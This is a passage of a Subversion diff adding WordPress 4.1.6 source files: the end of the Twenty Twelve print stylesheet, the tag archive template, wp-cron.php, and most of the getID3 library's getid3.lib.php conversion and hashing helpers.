+		margin-bottom: 5.142857143rem;
+		text-align: left;
+	}
+	.site-header h1 {
+		font-size: 21pt;
+		line-height: 1;
+		text-align: left;
+	}
+	.site-header h2 {
+		color: #000;
+		font-size: 10pt;
+		text-align: left;
+	}
+	.site-header h1 a,
+	.site-header h2 a {
+		color: #000;
+	}
+	.author-avatar,
+	#colophon,
+	#respond,
+	.commentlist .comment-edit-link,
+	.commentlist .reply,
+	.entry-header .comments-link,
+	.entry-meta .edit-link a,
+	.page-link,
+	.site-content nav,
+	.widget-area,
+	img.header-image,
+	.main-navigation {
+		display: none;
+	}
+	.wrapper {
+		border-top: none;
+		box-shadow: none;
+	}
+	.site-content {
+		margin: 0;
+		width: auto;
+	}
+
+	.entry-header .entry-title,
+	.entry-title {
+		font-size: 21pt;
+	}
+	footer.entry-meta,
+	footer.entry-meta a {
+		color: #444;
+		font-size: 10pt;
+	}
+	.author-description {
+		float: none;
+		width: auto;
+	}
+
+	/* Comments */
+	.commentlist > li.comment {
+		background: none;
+		position: relative;
+		width: auto;
+	}
+	.commentlist .avatar {
+		height: 39px;
+		left: 2.2em;
+		top: 2.2em;
+		width: 39px;
+	}
+	.comments-area article header cite,
+	.comments-area article header time {
+		margin-left: 50px;
+		margin-left: 3.57142857rem;
+	}
+}
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/tag.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/tag.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/tag.php	(revision 33402)
@@ -0,0 +1,52 @@
+<?php
+/**
+ * The template for displaying Tag pages
+ *
+ * Used to display archive-type pages for posts in a tag.
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="site-content">
+		<div id="content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+			<header class="archive-header">
+				<h1 class="archive-title"><?php printf( __( 'Tag Archives: %s', 'twentytwelve' ), '<span>' . single_tag_title( '', false ) . '</span>' ); ?></h1>
+
+			<?php if ( tag_description() ) : // Show an optional tag description ?>
+				<div class="archive-meta"><?php echo tag_description(); ?></div>
+			<?php endif; ?>
+			</header><!-- .archive-header -->
+
+			<?php
+			/* Start the Loop */
+			while ( have_posts() ) : the_post();
+
+				/*
+				 * Include the post format-specific template for the content. If you want to
+				 * this in a child theme then include a file called called content-___.php
+				 * (where ___ is the post format) and that will be used instead.
+				 */
+				get_template_part( 'content', get_post_format() );
+
+			endwhile;
+
+			twentytwelve_content_nav( 'nav-below' );
+			?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-cron.php
===================================================================
--- /tags/4.1.6/src/wp-cron.php	(revision 33402)
+++ /tags/4.1.6/src/wp-cron.php	(revision 33402)
@@ -0,0 +1,115 @@
+<?php
+/**
+ * WordPress Cron Implementation for hosts, which do not offer CRON or for which
+ * the user has not set up a CRON job pointing to this file.
+ *
+ * The HTTP request to this file will not slow down the visitor who happens to
+ * visit when the cron job is needed to run.
+ *
+ * @package WordPress
+ */
+
+ignore_user_abort(true);
+
+if ( !empty($_POST) || defined('DOING_AJAX') || defined('DOING_CRON') )
+	die();
+
+/**
+ * Tell WordPress we are doing the CRON task.
+ *
+ * @var bool
+ */
+define('DOING_CRON', true);
+
+if ( !defined('ABSPATH') ) {
+	/** Set up WordPress environment */
+	require_once( dirname( __FILE__ ) . '/wp-load.php' );
+}
+
+// Uncached doing_cron transient fetch
+function _get_cron_lock() {
+	global $wpdb;
+
+	$value = 0;
+	if ( wp_using_ext_object_cache() ) {
+		/*
+		 * Skip local cache and force re-fetch of doing_cron transient
+		 * in case another process updated the cache.
+		 */
+		$value = wp_cache_get( 'doing_cron', 'transient', true );
+	} else {
+		$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", '_transient_doing_cron' ) );
+		if ( is_object( $row ) )
+			$value = $row->option_value;
+	}
+
+	return $value;
+}
+
+if ( false === $crons = _get_cron_array() )
+	die();
+
+$keys = array_keys( $crons );
+$gmt_time = microtime( true );
+
+if ( isset($keys[0]) && $keys[0] > $gmt_time )
+	die();
+
+$doing_cron_transient = get_transient( 'doing_cron');
+
+// Use global $doing_wp_cron lock otherwise use the GET lock. If no lock, trying grabbing a new lock.
+if ( empty( $doing_wp_cron ) ) {
+	if ( empty( $_GET[ 'doing_wp_cron' ] ) ) {
+		// Called from external script/job. Try setting a lock.
+		if ( $doing_cron_transient && ( $doing_cron_transient + WP_CRON_LOCK_TIMEOUT > $gmt_time ) )
+			return;
+		$doing_cron_transient = $doing_wp_cron = sprintf( '%.22F', microtime( true ) );
+		set_transient( 'doing_cron', $doing_wp_cron );
+	} else {
+		$doing_wp_cron = $_GET[ 'doing_wp_cron' ];
+	}
+}
+
+// Check lock
+if ( $doing_cron_transient != $doing_wp_cron )
+	return;
+
+foreach ( $crons as $timestamp => $cronhooks ) {
+	if ( $timestamp > $gmt_time )
+		break;
+
+	foreach ( $cronhooks as $hook => $keys ) {
+
+		foreach ( $keys as $k => $v ) {
+
+			$schedule = $v['schedule'];
+
+			if ( $schedule != false ) {
+				$new_args = array($timestamp, $schedule, $hook, $v['args']);
+				call_user_func_array('wp_reschedule_event', $new_args);
+			}
+
+			wp_unschedule_event( $timestamp, $hook, $v['args'] );
+
+			/**
+			 * Fires scheduled events.
+			 *
+			 * @internal
+			 * @since 2.1.0
+			 *
+			 * @param string $hook Name of the hook that was scheduled to be fired.
+			 * @param array  $args The arguments to be passed to the hook.
+			 */
+ 			do_action_ref_array( $hook, $v['args'] );
+
+			// If the hook ran too long and another cron process stole the lock, quit.
+			if ( _get_cron_lock() != $doing_wp_cron )
+				return;
+		}
+	}
+}
+
+if ( _get_cron_lock() == $doing_wp_cron )
+	delete_transient( 'doing_cron' );
+
+die();
Index: /tags/4.1.6/src/wp-includes/ID3/getid3.lib.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ID3/getid3.lib.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ID3/getid3.lib.php	(revision 33402)
@@ -0,0 +1,1376 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// getid3.lib.php - part of getID3()                           //
+// See readme.txt for more details                             //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+
+class getid3_lib
+{
+
+	public static function PrintHexBytes($string, $hex=true, $spaces=true, $htmlencoding='UTF-8') {
+		$returnstring = '';
+		for ($i = 0; $i < strlen($string); $i++) {
+			if ($hex) {
+				$returnstring .= str_pad(dechex(ord($string{$i})), 2, '0', STR_PAD_LEFT);
+			} else {
+				$returnstring .= ' '.(preg_match("#[\x20-\x7E]#", $string{$i}) ? $string{$i} : '¤');
+			}
+			if ($spaces) {
+				$returnstring .= ' ';
+			}
+		}
+		if (!empty($htmlencoding)) {
+			if ($htmlencoding === true) {
+				$htmlencoding = 'UTF-8'; // prior to getID3 v1.9.0 the function's 4th parameter was boolean
+			}
+			$returnstring = htmlentities($returnstring, ENT_QUOTES, $htmlencoding);
+		}
+		return $returnstring;
+	}
+
+	public static function trunc($floatnumber) {
+		// truncates a floating-point number at the decimal point
+		// returns int (if possible, otherwise float)
+		if ($floatnumber >= 1) {
+			$truncatednumber = floor($floatnumber);
+		} elseif ($floatnumber <= -1) {
+			$truncatednumber = ceil($floatnumber);
+		} else {
+			$truncatednumber = 0;
+		}
+		if (self::intValueSupported($truncatednumber)) {
+			$truncatednumber = (int) $truncatednumber;
+		}
+		return $truncatednumber;
+	}
+
+
+	public static function safe_inc(&$variable, $increment=1) {
+		if (isset($variable)) {
+			$variable += $increment;
+		} else {
+			$variable = $increment;
+		}
+		return true;
+	}
+
+	public static function CastAsInt($floatnum) {
+		// convert to float if not already
+		$floatnum = (float) $floatnum;
+
+		// convert a float to type int, only if possible
+		if (self::trunc($floatnum) == $floatnum) {
+			// it's not floating point
+			if (self::intValueSupported($floatnum)) {
+				// it's within int range
+				$floatnum = (int) $floatnum;
+			}
+		}
+		return $floatnum;
+	}
+
+	public static function intValueSupported($num) {
+		// check if integers are 64-bit
+		static $hasINT64 = null;
+		if ($hasINT64 === null) { // 10x faster than is_null()
+			$hasINT64 = is_int(pow(2, 31)); // 32-bit int are limited to (2^31)-1
+			if (!$hasINT64 && !defined('PHP_INT_MIN')) {
+				define('PHP_INT_MIN', ~PHP_INT_MAX);
+			}
+		}
+		// if integers are 64-bit - no other check required
+		if ($hasINT64 || (($num <= PHP_INT_MAX) && ($num >= PHP_INT_MIN))) {
+			return true;
+		}
+		return false;
+	}
+
+	public static function DecimalizeFraction($fraction) {
+		list($numerator, $denominator) = explode('/', $fraction);
+		return $numerator / ($denominator ? $denominator : 1);
+	}
+
+
+	public static function DecimalBinary2Float($binarynumerator) {
+		$numerator   = self::Bin2Dec($binarynumerator);
+		$denominator = self::Bin2Dec('1'.str_repeat('0', strlen($binarynumerator)));
+		return ($numerator / $denominator);
+	}
+
+
+	public static function NormalizeBinaryPoint($binarypointnumber, $maxbits=52) {
+		// http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
+		if (strpos($binarypointnumber, '.') === false) {
+			$binarypointnumber = '0.'.$binarypointnumber;
+		} elseif ($binarypointnumber{0} == '.') {
+			$binarypointnumber = '0'.$binarypointnumber;
+		}
+		$exponent = 0;
+		while (($binarypointnumber{0} != '1') || (substr($binarypointnumber, 1, 1) != '.')) {
+			if (substr($binarypointnumber, 1, 1) == '.') {
+				$exponent--;
+				$binarypointnumber = substr($binarypointnumber, 2, 1).'.'.substr($binarypointnumber, 3);
+			} else {
+				$pointpos = strpos($binarypointnumber, '.');
+				$exponent += ($pointpos - 1);
+				$binarypointnumber = str_replace('.', '', $binarypointnumber);
+				$binarypointnumber = $binarypointnumber{0}.'.'.substr($binarypointnumber, 1);
+			}
+		}
+		$binarypointnumber = str_pad(substr($binarypointnumber, 0, $maxbits + 2), $maxbits + 2, '0', STR_PAD_RIGHT);
+		return array('normalized'=>$binarypointnumber, 'exponent'=>(int) $exponent);
+	}
+
+
+	public static function Float2BinaryDecimal($floatvalue) {
+		// http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
+		$maxbits = 128; // to how many bits of precision should the calculations be taken?
+		$intpart   = self::trunc($floatvalue);
+		$floatpart = abs($floatvalue - $intpart);
+		$pointbitstring = '';
+		while (($floatpart != 0) && (strlen($pointbitstring) < $maxbits)) {
+			$floatpart *= 2;
+			$pointbitstring .= (string) self::trunc($floatpart);
+			$floatpart -= self::trunc($floatpart);
+		}
+		$binarypointnumber = decbin($intpart).'.'.$pointbitstring;
+		return $binarypointnumber;
+	}
+
+
+	public static function Float2String($floatvalue, $bits) {
+		// http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html
+		switch ($bits) {
+			case 32:
+				$exponentbits = 8;
+				$fractionbits = 23;
+				break;
+
+			case 64:
+				$exponentbits = 11;
+				$fractionbits = 52;
+				break;
+
+			default:
+				return false;
+				break;
+		}
+		if ($floatvalue >= 0) {
+			$signbit = '0';
+		} else {
+			$signbit = '1';
+		}
+		$normalizedbinary  = self::NormalizeBinaryPoint(self::Float2BinaryDecimal($floatvalue), $fractionbits);
+		$biasedexponent    = pow(2, $exponentbits - 1) - 1 + $normalizedbinary['exponent']; // (127 or 1023) +/- exponent
+		$exponentbitstring = str_pad(decbin($biasedexponent), $exponentbits, '0', STR_PAD_LEFT);
+		$fractionbitstring = str_pad(substr($normalizedbinary['normalized'], 2), $fractionbits, '0', STR_PAD_RIGHT);
+
+		return self::BigEndian2String(self::Bin2Dec($signbit.$exponentbitstring.$fractionbitstring), $bits % 8, false);
+	}
+
+
+	public static function LittleEndian2Float($byteword) {
+		return self::BigEndian2Float(strrev($byteword));
+	}
+
+
+	public static function BigEndian2Float($byteword) {
+		// ANSI/IEEE Standard 754-1985, Standard for Binary Floating Point Arithmetic
+		// http://www.psc.edu/general/software/packages/ieee/ieee.html
+		// http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee.html
+
+		$bitword = self::BigEndian2Bin($byteword);
+		if (!$bitword) {
+			return 0;
+		}
+		$signbit = $bitword{0};
+
+		switch (strlen($byteword) * 8) {
+			case 32:
+				$exponentbits = 8;
+				$fractionbits = 23;
+				break;
+
+			case 64:
+				$exponentbits = 11;
+				$fractionbits = 52;
+				break;
+
+			case 80:
+				// 80-bit Apple SANE format
+				// http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/
+				$exponentstring = substr($bitword, 1, 15);
+				$isnormalized = intval($bitword{16});
+				$fractionstring = substr($bitword, 17, 63);
+				$exponent = pow(2, self::Bin2Dec($exponentstring) - 16383);
+				$fraction = $isnormalized + self::DecimalBinary2Float($fractionstring);
+				$floatvalue = $exponent * $fraction;
+				if ($signbit == '1') {
+					$floatvalue *= -1;
+				}
+				return $floatvalue;
+				break;
+
+			default:
+				return false;
+				break;
+		}
+		$exponentstring = substr($bitword, 1, $exponentbits);
+		$fractionstring = substr($bitword, $exponentbits + 1, $fractionbits);
+		$exponent = self::Bin2Dec($exponentstring);
+		$fraction = self::Bin2Dec($fractionstring);
+
+		if (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction != 0)) {
+			// Not a Number
+			$floatvalue = false;
+		} elseif (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction == 0)) {
+			if ($signbit == '1') {
+				$floatvalue = '-infinity';
+			} else {
+				$floatvalue = '+infinity';
+			}
+		} elseif (($exponent == 0) && ($fraction == 0)) {
+			if ($signbit == '1') {
+				$floatvalue = -0;
+			} else {
+				$floatvalue = 0;
+			}
+			$floatvalue = ($signbit ? 0 : -0);
+		} elseif (($exponent == 0) && ($fraction != 0)) {
+			// These are 'unnormalized' values
+			$floatvalue = pow(2, (-1 * (pow(2, $exponentbits - 1) - 2))) * self::DecimalBinary2Float($fractionstring);
+			if ($signbit == '1') {
+				$floatvalue *= -1;
+			}
+		} elseif ($exponent != 0) {
+			$floatvalue = pow(2, ($exponent - (pow(2, $exponentbits - 1) - 1))) * (1 + self::DecimalBinary2Float($fractionstring));
+			if ($signbit == '1') {
+				$floatvalue *= -1;
+			}
+		}
+		return (float) $floatvalue;
+	}
+
+
+	public static function BigEndian2Int($byteword, $synchsafe=false, $signed=false) {
+		$intvalue = 0;
+		$bytewordlen = strlen($byteword);
+		if ($bytewordlen == 0) {
+			return false;
+		}
+		for ($i = 0; $i < $bytewordlen; $i++) {
+			if ($synchsafe) { // disregard MSB, effectively 7-bit bytes
+				//$intvalue = $intvalue | (ord($byteword{$i}) & 0x7F) << (($bytewordlen - 1 - $i) * 7); // faster, but runs into problems past 2^31 on 32-bit systems
+				$intvalue += (ord($byteword{$i}) & 0x7F) * pow(2, ($bytewordlen - 1 - $i) * 7);
+			} else {
+				$intvalue += ord($byteword{$i}) * pow(256, ($bytewordlen - 1 - $i));
+			}
+		}
+		if ($signed && !$synchsafe) {
+			// synchsafe ints are not allowed to be signed
+			if ($bytewordlen <= PHP_INT_SIZE) {
+				$signMaskBit = 0x80 << (8 * ($bytewordlen - 1));
+				if ($intvalue & $signMaskBit) {
+					$intvalue = 0 - ($intvalue & ($signMaskBit - 1));
+				}
+			} else {
+				throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits ('.strlen($byteword).') in self::BigEndian2Int()');
+			}
+		}
+		return self::CastAsInt($intvalue);
+	}
+
+
+	public static function LittleEndian2Int($byteword, $signed=false) {
+		return self::BigEndian2Int(strrev($byteword), false, $signed);
+	}
+
+
+	public static function BigEndian2Bin($byteword) {
+		$binvalue = '';
+		$bytewordlen = strlen($byteword);
+		for ($i = 0; $i < $bytewordlen; $i++) {
+			$binvalue .= str_pad(decbin(ord($byteword{$i})), 8, '0', STR_PAD_LEFT);
+		}
+		return $binvalue;
+	}
+
+
+	public static function BigEndian2String($number, $minbytes=1, $synchsafe=false, $signed=false) {
+		if ($number < 0) {
+			throw new Exception('ERROR: self::BigEndian2String() does not support negative numbers');
+		}
+		$maskbyte = (($synchsafe || $signed) ? 0x7F : 0xFF);
+		$intstring = '';
+		if ($signed) {
+			if ($minbytes > PHP_INT_SIZE) {
+				throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits in self::BigEndian2String()');
+			}
+			$number = $number & (0x80 << (8 * ($minbytes - 1)));
+		}
+		while ($number != 0) {
+			$quotient = ($number / ($maskbyte + 1));
+			$intstring = chr(ceil(($quotient - floor($quotient)) * $maskbyte)).$intstring;
+			$number = floor($quotient);
+		}
+		return str_pad($intstring, $minbytes, "\x00", STR_PAD_LEFT);
+	}
+
+
+	public static function Dec2Bin($number) {
+		while ($number >= 256) {
+			$bytes[] = (($number / 256) - (floor($number / 256))) * 256;
+			$number = floor($number / 256);
+		}
+		$bytes[] = $number;
+		$binstring = '';
+		for ($i = 0; $i < count($bytes); $i++) {
+			$binstring = (($i == count($bytes) - 1) ? decbin($bytes[$i]) : str_pad(decbin($bytes[$i]), 8, '0', STR_PAD_LEFT)).$binstring;
+		}
+		return $binstring;
+	}
+
+
+	public static function Bin2Dec($binstring, $signed=false) {
+		$signmult = 1;
+		if ($signed) {
+			if ($binstring{0} == '1') {
+				$signmult = -1;
+			}
+			$binstring = substr($binstring, 1);
+		}
+		$decvalue = 0;
+		for ($i = 0; $i < strlen($binstring); $i++) {
+			$decvalue += ((int) substr($binstring, strlen($binstring) - $i - 1, 1)) * pow(2, $i);
+		}
+		return self::CastAsInt($decvalue * $signmult);
+	}
+
+
+	public static function Bin2String($binstring) {
+		// return 'hi' for input of '0110100001101001'
+		$string = '';
+		$binstringreversed = strrev($binstring);
+		for ($i = 0; $i < strlen($binstringreversed); $i += 8) {
+			$string = chr(self::Bin2Dec(strrev(substr($binstringreversed, $i, 8)))).$string;
+		}
+		return $string;
+	}
+
+
+	public static function LittleEndian2String($number, $minbytes=1, $synchsafe=false) {
+		$intstring = '';
+		while ($number > 0) {
+			if ($synchsafe) {
+				$intstring = $intstring.chr($number & 127);
+				$number >>= 7;
+			} else {
+				$intstring = $intstring.chr($number & 255);
+				$number >>= 8;
+			}
+		}
+		return str_pad($intstring, $minbytes, "\x00", STR_PAD_RIGHT);
+	}
+
+
+	public static function array_merge_clobber($array1, $array2) {
+		// written by kcØhireability*com
+		// taken from http://www.php.net/manual/en/function.array-merge-recursive.php
+		if (!is_array($array1) || !is_array($array2)) {
+			return false;
+		}
+		$newarray = $array1;
+		foreach ($array2 as $key => $val) {
+			if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) {
+				$newarray[$key] = self::array_merge_clobber($newarray[$key], $val);
+			} else {
+				$newarray[$key] = $val;
+			}
+		}
+		return $newarray;
+	}
+
+
+	public static function array_merge_noclobber($array1, $array2) {
+		if (!is_array($array1) || !is_array($array2)) {
+			return false;
+		}
+		$newarray = $array1;
+		foreach ($array2 as $key => $val) {
+			if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) {
+				$newarray[$key] = self::array_merge_noclobber($newarray[$key], $val);
+			} elseif (!isset($newarray[$key])) {
+				$newarray[$key] = $val;
+			}
+		}
+		return $newarray;
+	}
+
+
+	public static function ksort_recursive(&$theArray) {
+		ksort($theArray);
+		foreach ($theArray as $key => $value) {
+			if (is_array($value)) {
+				self::ksort_recursive($theArray[$key]);
+			}
+		}
+		return true;
+	}
+
+	public static function fileextension($filename, $numextensions=1) {
+		if (strstr($filename, '.')) {
+			$reversedfilename = strrev($filename);
+			$offset = 0;
+			for ($i = 0; $i < $numextensions; $i++) {
+				$offset = strpos($reversedfilename, '.', $offset + 1);
+				if ($offset === false) {
+					return '';
+				}
+			}
+			return strrev(substr($reversedfilename, 0, $offset));
+		}
+		return '';
+	}
+
+
+	public static function PlaytimeString($seconds) {
+		$sign = (($seconds < 0) ? '-' : '');
+		$seconds = round(abs($seconds));
+		$H = (int) floor( $seconds                            / 3600);
+		$M = (int) floor(($seconds - (3600 * $H)            ) /   60);
+		$S = (int) round( $seconds - (3600 * $H) - (60 * $M)        );
+		return $sign.($H ? $H.':' : '').($H ? str_pad($M, 2, '0', STR_PAD_LEFT) : intval($M)).':'.str_pad($S, 2, 0, STR_PAD_LEFT);
+	}
+
+
+	public static function DateMac2Unix($macdate) {
+		// Macintosh timestamp: seconds since 00:00h January 1, 1904
+		// UNIX timestamp:      seconds since 00:00h January 1, 1970
+		return self::CastAsInt($macdate - 2082844800);
+	}
+
+
+	public static function FixedPoint8_8($rawdata) {
+		return self::BigEndian2Int(substr($rawdata, 0, 1)) + (float) (self::BigEndian2Int(substr($rawdata, 1, 1)) / pow(2, 8));
+	}
+
+
+	public static function FixedPoint16_16($rawdata) {
+		return self::BigEndian2Int(substr($rawdata, 0, 2)) + (float) (self::BigEndian2Int(substr($rawdata, 2, 2)) / pow(2, 16));
+	}
+
+
+	public static function FixedPoint2_30($rawdata) {
+		$binarystring = self::BigEndian2Bin($rawdata);
+		return self::Bin2Dec(substr($binarystring, 0, 2)) + (float) (self::Bin2Dec(substr($binarystring, 2, 30)) / pow(2, 30));
+	}
+
+
+	public static function CreateDeepArray($ArrayPath, $Separator, $Value) {
+		// assigns $Value to a nested array path:
+		//   $foo = self::CreateDeepArray('/path/to/my', '/', 'file.txt')
+		// is the same as:
+		//   $foo = array('path'=>array('to'=>'array('my'=>array('file.txt'))));
+		// or
+		//   $foo['path']['to']['my'] = 'file.txt';
+		$ArrayPath = ltrim($ArrayPath, $Separator);
+		if (($pos = strpos($ArrayPath, $Separator)) !== false) {
+			$ReturnedArray[substr($ArrayPath, 0, $pos)] = self::CreateDeepArray(substr($ArrayPath, $pos + 1), $Separator, $Value);
+		} else {
+			$ReturnedArray[$ArrayPath] = $Value;
+		}
+		return $ReturnedArray;
+	}
+
+	public static function array_max($arraydata, $returnkey=false) {
+		$maxvalue = false;
+		$maxkey = false;
+		foreach ($arraydata as $key => $value) {
+			if (!is_array($value)) {
+				if ($value > $maxvalue) {
+					$maxvalue = $value;
+					$maxkey = $key;
+				}
+			}
+		}
+		return ($returnkey ? $maxkey : $maxvalue);
+	}
+
+	public static function array_min($arraydata, $returnkey=false) {
+		$minvalue = false;
+		$minkey = false;
+		foreach ($arraydata as $key => $value) {
+			if (!is_array($value)) {
+				if ($value > $minvalue) {
+					$minvalue = $value;
+					$minkey = $key;
+				}
+			}
+		}
+		return ($returnkey ? $minkey : $minvalue);
+	}
+
+	public static function XML2array($XMLstring) {
+		if ( function_exists( 'simplexml_load_string' ) && function_exists( 'libxml_disable_entity_loader' ) ) {
+			$loader = libxml_disable_entity_loader( true );
+			$XMLobject = simplexml_load_string( $XMLstring, 'SimpleXMLElement', LIBXML_NOENT );
+			$return = self::SimpleXMLelement2array( $XMLobject );
+			libxml_disable_entity_loader( $loader );
+			return $return;
+		}
+		return false;
+	}
+
+	public static function SimpleXMLelement2array($XMLobject) {
+		if (!is_object($XMLobject) && !is_array($XMLobject)) {
+			return $XMLobject;
+		}
+		$XMLarray = (is_object($XMLobject) ? get_object_vars($XMLobject) : $XMLobject);
+		foreach ($XMLarray as $key => $value) {
+			$XMLarray[$key] = self::SimpleXMLelement2array($value);
+		}
+		return $XMLarray;
+	}
+
+
+	// Allan Hansen <ahØartemis*dk>
+	// self::md5_data() - returns md5sum for a file from startuing position to absolute end position
+	public static function hash_data($file, $offset, $end, $algorithm) {
+		static $tempdir = '';
+		if (!self::intValueSupported($end)) {
+			return false;
+		}
+		switch ($algorithm) {
+			case 'md5':
+				$hash_function = 'md5_file';
+				$unix_call     = 'md5sum';
+				$windows_call  = 'md5sum.exe';
+				$hash_length   = 32;
+				break;
+
+			case 'sha1':
+				$hash_function = 'sha1_file';
+				$unix_call     = 'sha1sum';
+				$windows_call  = 'sha1sum.exe';
+				$hash_length   = 40;
+				break;
+
+			default:
+				throw new Exception('Invalid algorithm ('.$algorithm.') in self::hash_data()');
+				break;
+		}
+		$size = $end - $offset;
+		while (true) {
+			if (GETID3_OS_ISWINDOWS) {
+
+				// It seems that sha1sum.exe for Windows only works on physical files, does not accept piped data
+				// Fall back to create-temp-file method:
+				if ($algorithm == 'sha1') {
+					break;
+				}
+
+				$RequiredFiles = array('cygwin1.dll', 'head.exe', 'tail.exe', $windows_call);
+				foreach ($RequiredFiles as $required_file) {
+					if (!is_readable(GETID3_HELPERAPPSDIR.$required_file)) {
+						// helper apps not available - fall back to old method
+						break 2;
+					}
+				}
+				$commandline  = GETID3_HELPERAPPSDIR.'head.exe -c '.$end.' '.escapeshellarg(str_replace('/', DIRECTORY_SEPARATOR, $file)).' | ';
+				$commandline .= GETID3_HELPERAPPSDIR.'tail.exe -c '.$size.' | ';
+				$commandline .= GETID3_HELPERAPPSDIR.$windows_call;
+
+			} else {
+
+				$commandline  = 'head -c'.$end.' '.escapeshellarg($file).' | ';
+				$commandline .= 'tail -c'.$size.' | ';
+				$commandline .= $unix_call;
+
+			}
+			if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) {
+				//throw new Exception('PHP running in Safe Mode - backtick operator not available, using slower non-system-call '.$algorithm.' algorithm');
+				break;
+			}
+			return substr(`$commandline`, 0, $hash_length);
+		}
+
+		if (empty($tempdir)) {
+			// yes this is ugly, feel free to suggest a better way
+			require_once(dirname(__FILE__).'/getid3.php');
+			$getid3_temp = new getID3();
+			$tempdir = $getid3_temp->tempdir;
+			unset($getid3_temp);
+		}
+		// try to create a temporary file in the system temp directory - invalid dirname should force to system temp dir
+		if (($data_filename = tempnam($tempdir, 'gI3')) === false) {
+			// can't find anywhere to create a temp file, just fail
+			return false;
+		}
+
+		// Init
+		$result = false;
+
+		// copy parts of file
+		try {
+			self::CopyFileParts($file, $data_filename, $offset, $end - $offset);
+			$result = $hash_function($data_filename);
+		} catch (Exception $e) {
+			throw new Exception('self::CopyFileParts() failed in getid_lib::hash_data(): '.$e->getMessage());
+		}
+		unlink($data_filename);
+		return $result;
+	}
+
+	public static function CopyFileParts($filename_source, $filename_dest, $offset, $length) {
+		if (!self::intValueSupported($offset + $length)) {
+			throw new Exception('cannot copy file portion, it extends beyond the '.round(PHP_INT_MAX / 1073741824).'GB limit');
+		}
+		if (is_readable($filename_source) && is_file($filename_source) && ($fp_src = fopen($filename_source, 'rb'))) {
+			if (($fp_dest = fopen($filename_dest, 'wb'))) {
+				if (fseek($fp_src, $offset) == 0) {
+					$byteslefttowrite = $length;
+					while (($byteslefttowrite > 0) && ($buffer = fread($fp_src, min($byteslefttowrite, getID3::FREAD_BUFFER_SIZE)))) {
+						$byteswritten = fwrite($fp_dest, $buffer, $byteslefttowrite);
+						$byteslefttowrite -= $byteswritten;
+					}
+					return true;
+				} else {
+					throw new Exception('failed to seek to offset '.$offset.' in '.$filename_source);
+				}
+				fclose($fp_dest);
+			} else {
+				throw new Exception('failed to create file for writing '.$filename_dest);
+			}
+			fclose($fp_src);
+		} else {
+			throw new Exception('failed to open file for reading '.$filename_source);
+		}
+		return false;
+	}
+
+	public static function iconv_fallback_int_utf8($charval) {
+		if ($charval < 128) {
+			// 0bbbbbbb
+			$newcharstring = chr($charval);
+		} elseif ($charval < 2048) {
+			// 110bbbbb 10bbbbbb
+			$newcharstring  = chr(($charval >>   6) | 0xC0);
+			$newcharstring .= chr(($charval & 0x3F) | 0x80);
+		} elseif ($charval < 65536) {
+			// 1110bbbb 10bbbbbb 10bbbbbb
+			$newcharstring  = chr(($charval >>  12) | 0xE0);
+			$newcharstring .= chr(($charval >>   6) | 0xC0);
+			$newcharstring .= chr(($charval & 0x3F) | 0x80);
+		} else {
+			// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
+			$newcharstring  = chr(($charval >>  18) | 0xF0);
+			$newcharstring .= chr(($charval >>  12) | 0xC0);
+			$newcharstring .= chr(($charval >>   6) | 0xC0);
+			$newcharstring .= chr(($charval & 0x3F) | 0x80);
+		}
+		return $newcharstring;
+	}
+
+	// ISO-8859-1 => UTF-8
+	public static function iconv_fallback_iso88591_utf8($string, $bom=false) {
+		if (function_exists('utf8_encode')) {
+			return utf8_encode($string);
+		}
+		// utf8_encode() unavailable, use getID3()'s iconv_fallback() conversions (possibly PHP is compiled without XML support)
+		$newcharstring = '';
+		if ($bom) {
+			$newcharstring .= "\xEF\xBB\xBF";
+		}
+		for ($i = 0; $i < strlen($string); $i++) {
+			$charval = ord($string{$i});
+			$newcharstring .= self::iconv_fallback_int_utf8($charval);
+		}
+		return $newcharstring;
+	}
+
+	// ISO-8859-1 => UTF-16BE
+	public static function iconv_fallback_iso88591_utf16be($string, $bom=false) {
+		$newcharstring = '';
+		if ($bom) {
+			$newcharstring .= "\xFE\xFF";
+		}
+		for ($i = 0; $i < strlen($string); $i++) {
+			$newcharstring .= "\x00".$string{$i};
+		}
+		return $newcharstring;
+	}
+
+	// ISO-8859-1 => UTF-16LE
+	public static function iconv_fallback_iso88591_utf16le($string, $bom=false) {
+		$newcharstring = '';
+		if ($bom) {
+			$newcharstring .= "\xFF\xFE";
+		}
+		for ($i = 0; $i < strlen($string); $i++) {
+			$newcharstring .= $string{$i}."\x00";
+		}
+		return $newcharstring;
+	}
+
+	// ISO-8859-1 => UTF-16LE (BOM)
+	public static function iconv_fallback_iso88591_utf16($string) {
